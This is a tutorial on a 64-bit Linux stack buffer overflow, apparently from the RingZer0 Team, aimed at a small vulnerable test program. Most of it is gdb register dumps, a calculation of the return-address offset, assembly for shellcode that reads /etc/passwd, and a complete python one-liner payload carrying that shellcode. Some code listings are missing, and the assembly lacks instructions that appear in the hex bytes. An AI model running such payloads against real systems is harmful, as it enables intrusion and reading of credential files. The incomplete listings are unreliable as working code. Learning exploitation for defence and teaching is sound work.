64 Bits Linux Stack Based Buffer Overflow: The Purpose of This Paper Is To Learn The Basics of 64 Bits Buffer Overflow
64 Bits Linux Stack Based Buffer Overflow: The Purpose of This Paper Is To Learn The Basics of 64 Bits Buffer Overflow
Summary
In fact there are tons of others differences, but for the purpose of
this paper, its not important to know all of them.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
I decide to print the buffer pointer address to save time through the
exploit development.
First were going to confirm that we're able to crash this process.
You can go through the application flow using stepi to execute line by
line.
After you pass the strcpy call (0x40066c), youll notice that this time
the buffer pointer points to 0x7fffffffdc90 instead of 0x7fffffffdcd0,
this is caused by gdb environment variables and other stuff. But for
now, we don't care will fix this later.
Important note*
For the rest of the paper, when I'm referring to the leave instruction,
its the one at the address 0x400685 above.
Then the leave instruction of the main function will make rsp point to
0x7fffffffdd98.
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x7ffff7dd59e0 140737351866848
rsi 0x7ffff7ff7000 140737354100736
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffdd98 0x7fffffffdd98
r8 0x4141414141414141 4702111234474983745
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 582
r12 0x400520 4195616
r13 0x7fffffffde70 140737488346736
r14 0x0 0
r15 0x0 0
rip 0x400686 0x400686 <main+121>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) stepi
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
So the program ends and we're not able to control RIP :( Why? Because
we override too much bits, remember biggest address is
0x00007fffffffffff and we try to overflow using 0x4141414141414141.
It's easy to calculate the size of our buffer with simple mathematics.
We know that the buffer start at 0x7fffffffdc90. After the leave
instruction, rsp will point to 0x7fffffffdd98.
This time we are going to directly check whats going on after the
leave instruction has been called.
Here's the stack after the leave instruction has been executed:
Here are the register values after the leave instruction has been
executed:
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x7ffff7dd59e0 140737351866848
rsi 0x7ffff7ff7000 140737354100736
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffddb8 0x7fffffffddb8
r8 0x4141414141414141 4702111234474983745
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 r12 0x400520 4195616
r13 0x7fffffffde90 140737488346768
r14 0x0 0
r15 0x0 0
rip 0x400686 0x400686 <main+121>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) stepi
Cannot access memory at address 0x424242424242
Cannot access memory at address 0x424242424242
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x7ffff7dd59e0 140737351866848
rsi 0x7ffff7ff7000 140737354100736
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffddc0 0x7fffffffddc0
r8 0x4141414141414141 4702111234474983745
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 582
r12 0x400520 4195616
r13 0x7fffffffde90 140737488346768
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
In fact, this part has nothing really special or new, you just have to
point to the beginning of your user controlled buffer. This is the
value that the first printf shows. In this case 0x7fffffffdc90 its
also easy to retrieve this value using gdb. You just have to display
the stack after the strcpy call.
Its time to update our payload. The new payload is going to look like
this:
This is the stack after the leave instruction has been executed. As we
already know, rsp points to 0x7fffffffddb8. The content of
0x7fffffffddb8 is 0x00007fffffffdc90. Finally, 0x00007fffffffdc90
points to our user controlled buffer.
(gdb) stepi
For this example I'm going to use a custom shellcode that read the
content of /etc/passwd.
BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start
section .text
_start:
jmp _push_filename
_readfile:
; syscall open file
pop rdi ; pop path value
; NULL byte fix
xor byte [rdi + 11], 0x41
; syscall exit
xor rax, rax
add al, 60
syscall
_push_filename:
call _readfile
path: db "/etc/passwdA"
Now it's time to assemble this file and extract the shellcode.
Original payload
$(python -c 'print
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
Its time to test all of that together.
Here's the real version using the value that we found in gdb
Has you can clearly see, the exploit is not working. But the address
has changed from 0x7fffffffdc90 to 0x7fffffffdcf0. Thanks for the
little printf output. We just need to adjust the payload with the right
value.
$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74
\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\xf0"[::-1]')
0x7fffffffdcf0
?_w
0x08 EOF
Hope you enjoy this paper about x86_64 buffer overflow on Linux;
there's a lots of paper about x86 overflow, but 64 bits overflow are
less common. I wish you tons of shell!
EOF